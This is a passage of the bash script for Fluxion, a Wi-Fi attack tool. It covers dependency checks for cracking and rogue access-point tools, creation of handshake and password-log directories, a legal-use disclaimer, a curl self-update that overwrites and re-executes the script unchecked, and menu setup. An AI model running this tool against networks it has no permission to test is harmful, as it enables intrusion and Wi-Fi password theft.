echo -ne "aireplay-ng....."
if ! hash aireplay-ng 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "airmon-ng......."
if ! hash airmon-ng 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "airodump-ng....."
if ! hash airodump-ng 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "awk............."
if ! hash awk 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "bully..........."
if ! hash bully 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "curl............"
if ! hash curl 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "dhcpd..........."
if ! hash dhcpd 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent" (isc-dhcp-server)"
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "hostapd........."
if ! hash hostapd 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "iwconfig........"
if ! hash iwconfig 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "lighttpd........"
if ! hash lighttpd 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "macchanger......"
if ! hash macchanger 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "mdk3............"
if ! hash mdk3 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "nmap............"
if ! [ -f /usr/bin/nmap ]; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "php-cgi........."
if ! [ -f /usr/bin/php-cgi ]; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "pyrit..........."
if ! hash pyrit 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "python.........."
if ! hash python 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "reaver.........."
if ! hash reaver 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "unzip..........."
if ! hash unzip 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "xterm..........."
if ! hash xterm 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "openssl........."
if ! hash openssl 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "rfkill.........."
if ! hash rfkill 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "strings........."
if ! hash strings 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent" (binutils)"
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "fuser..........."
if ! hash fuser 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent" (psmisc)"
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
if [ "$exit" = "1" ]; then
exit 1
fi
sleep 1
clear
}
top
checkdependences
# Create working directory
if [ ! -d $DUMP_PATH ]; then
mkdir -p $DUMP_PATH &>$flux_output_device
fi
# Create handshake directory
if [ ! -d $HANDSHAKE_PATH ]; then
mkdir -p $HANDSHAKE_PATH &>$flux_output_device
fi
#create password log directory
if [ ! -d $PASSLOG_PATH ]; then
mkdir -p $PASSLOG_PATH &>$flux_output_device
fi
if [ $FLUX_DEBUG != 1 ]; then
whiptail --title "Fluxion Disclaimer" --msgbox "Fluxion is intended to be used for legal security purposes only, and you should only use it to protect networks/hosts you own or have permission to test. Any other use is not the responsibility of the developer(s). Be sure that you understand and are complying with the Fluxion licenses and laws in your area. In other words, don't be stupid, don't be an asshole and use this tool responsibly and legally." 14 60
clear; echo ""
sleep 0.01 && echo -e "$red "
sleep 0.01 && echo -e " ⌠▓▒▓▒ ⌠▓╗ ⌠█┐ ┌█ ┌▓\ /▓┐ ⌠▓╖ ⌠◙▒▓▒◙ ⌠█\ ☒┐ "
sleep 0.01 && echo -e " ║▒_ │▒║ │▒║ ║▒ \▒\/▒/ │☢╫ │▒┌╤┐▒ ║▓▒\ ▓║ "
sleep 0.01 && echo -e " ≡◙◙ ║◙║ ║◙║ ║◙ ◙◙ ║¤▒ ║▓║☯║▓ ♜◙\✪\◙♜ "
sleep 0.01 && echo -e " ║▒ │▒║__ │▒└_┘▒ /▒/\▒\ │☢╫ │▒└╧┘▒ ║█ \▒█║ "
sleep 0.01 && echo -e " ⌡▓ ⌡◘▒▓▒ ⌡◘▒▓▒◘ └▓/ \▓┘ ⌡▓╝ ⌡◙▒▓▒◙ ⌡▓ \▓┘ "
sleep 0.01 && echo -e " ¯¯¯ ¯¯¯¯¯¯ ¯¯¯¯¯¯¯ ¯¯¯ ¯¯¯ ¯¯¯¯ ¯¯¯¯¯¯¯ ¯¯¯¯¯¯¯¯ "
echo""
sleep 0.1
echo -e $red" FLUX "$white""$version" (rev. "$green "$revision"$white") "$yellow"by "$white" deltax"
sleep 0.1
echo -e $green " Page:"$red" https://github.com/deltaxflux/fluxion "$transparent
sleep 0.1
echo -n " Latest rev."
tput civis
checkupdatess &
spinner "$!"
revision_online=$(cat $DUMP_PATH/Irev)
echo -e ""$white" [${purple}${revision_online}$white"$transparent"]"
if [ "$revision_online" != "?" ]; then
if [ "$revision" -lt "$revision_online" ]; then
echo
echo
echo -ne $red" New revision found! "$yellow
echo -ne "Update? [Y/n]: "$transparent
read -N1 doupdate
echo -ne "$transparent"
doupdate=${doupdate:-"Y"}
if [ "$doupdate" = "Y" ]; then
cp $0 $HOME/flux_rev-$revision.backup
curl "https://raw.githubusercontent.com/deltaxflux/fluxion/master/fluxion" -s -o $0
echo
echo
echo -e ""$red"
Updated successfully! Restarting the script to apply the changes ..."$transparent""
sleep 3
chmod +x $0
exec $0
exit
fi
fi
fi
echo ""
tput cnorm
sleep 1
fi
# Show info for the selected AP
function infoap {
Host_MAC_info1=`echo $Host_MAC | awk 'BEGIN { FS = ":" } ; { print $1":"$2":"$3}' | tr [:upper:] [:lower:]`
Host_MAC_MODEL=`macchanger -l | grep $Host_MAC_info1 | cut -d " " -f 5-`
echo "INFO WIFI"
echo
echo -e " "$blue"SSID"$transparent" = $Host_SSID / $Host_ENC"
echo -e " "$blue"Channel"$transparent" = $channel"
echo -e " "$blue"Speed"$transparent" = ${speed:2} Mbps"
echo -e " "$blue"BSSID"$transparent" = $mac (\e[1;33m$Host_MAC_MODEL $transparent)"
echo
}
############################################## < START > ##############################################
############################################### < MENU > ###############################################
# Windows + Resolution
function setresolution {
function resA {
TOPLEFT="-geometry 90x13+0+0"
TOPRIGHT="-geometry 83x26-0+0"
BOTTOMLEFT="-geometry 90x24+0-0"
BOTTOMRIGHT="-geometry 75x12-0-0"
TOPLEFTBIG="-geometry 91x42+0+0"
TOPRIGHTBIG="-geometry 83x26-0+0"
}
function resB {
TOPLEFT="-geometry 92x14+0+0"
TOPRIGHT="-geometry 68x25-0+0"
BOTTOMLEFT="-geometry 92x36+0-0"
BOTTOMRIGHT="-geometry 74x20-0-0"
TOPLEFTBIG="-geometry 100x52+0+0"
TOPRIGHTBIG="-geometry 74x30-0+0"
}
function resC {
TOPLEFT="-geometry 100x20+0+0"
TOPRIGHT="-geometry 109x20-0+0"
BOTTOMLEFT="-geometry 100x30+0-0"
BOTTOMRIGHT="-geometry 109x20-0-0"
TOPLEFTBIG="-geometry 100x52+0+0"
TOPRIGHTBIG="-geometry 109x30-0+0"
}
function resD {
TOPLEFT="-geometry 110x35+0+0"
TOPRIGHT="-geometry 99x40-0+0"
BOTTOMLEFT="-geometry 110x35+0-0"
BOTTOMRIGHT="-geometry 99x30-0-0"
TOPLEFTBIG="-geometry 110x72+0+0"
TOPRIGHTBIG="-geometry 99x40-0+0"
}
function resE {
TOPLEFT="-geometry 130x43+0+0"
TOPRIGHT="-geometry 68x25-0+0"
BOTTOMLEFT="-geometry 130x40+0-0"
BOTTOMRIGHT="-geometry 132x35-0-0"
TOPLEFTBIG="-geometry 130x85+0+0"
TOPRIGHTBIG="-geometry 132x48-0+0"
}
function resF {
TOPLEFT="-geometry 100x17+0+0"
TOPRIGHT="-geometry 90x27-0+0"
BOTTOMLEFT="-geometry 100x30+0-0"
BOTTOMRIGHT="-geometry 90x20-0-0"
TOPLEFTBIG="-geometry 100x70+0+0"
TOPRIGHTBIG="-geometry 90x27-0+0"
}
detectedresolution=$(xdpyinfo | grep -A 3 "screen #0" | grep dimensions | tr -s " " | cut -d" " -f 3)
## A) 1024x600
## B) 1024x768
## C) 1280x768
## D) 1280x1024
## E) 1600x1200
case $detectedresolution in
"1024x600" ) resA ;;
"1024x768" ) resB ;;
"1280x768" ) resC ;;
"1366x768" ) resC ;;
"1280x1024" ) resD ;;
"1600x1200" ) resE ;;
"1366x768" ) resF ;;
* ) resA ;;
esac
language
}
function language {
iptables-save > $DUMP_PATH/iptables-rules
conditional_clear
if [ "$FLUX_AUTO" = "1" ];then
german; setinterface
else
while true; do
conditional_clear
top
echo -e ""$red"["$yellow"i"$red"]"$transparent" Select your language"
echo " "
echo -e " "$red"["$yellow"1"$red"]"$transparent" English "
echo -e " "$red"["$yellow"2"$red"]"$transparent" German "
echo -e " "$red"["$yellow"3"$red"]"$transparent" Romanian "
echo -e " "$red"["$yellow"4"$red"]"$transparent" Turkish "
echo -e " "$red"["$yellow"5"$red"]"$transparent" Spanish "
echo -e " "$red"["$yellow"6"$red"]"$transparent" Chinese "
echo -e " "$red"["$yellow"7"$red"]"$transparent" Italian "
echo -e " "$red"["$yellow"8"$red"]"$transparent" Czech "
echo -e " "$red"["$yellow"9"$red"]"$transparent" Greek "
echo -e " "$red"["$yellow"10"$red"]"$transparent" French "
echo " "
echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent""
read yn
echo ""
case $yn in
1 ) english; setinterface; break ;;
2 ) german; setinterface; break ;;
3 ) romanian; setinterface; break;;
4 ) turkish; setinterface; break;;
5 ) spanish; setinterface; break;;
6 ) chinese; setinterface; break;;
7 ) italian; setinterface; break;;
8 ) czech; setinterface; break;;
9 ) greek; setinterface; break;;
10 ) french; setinterface; break;;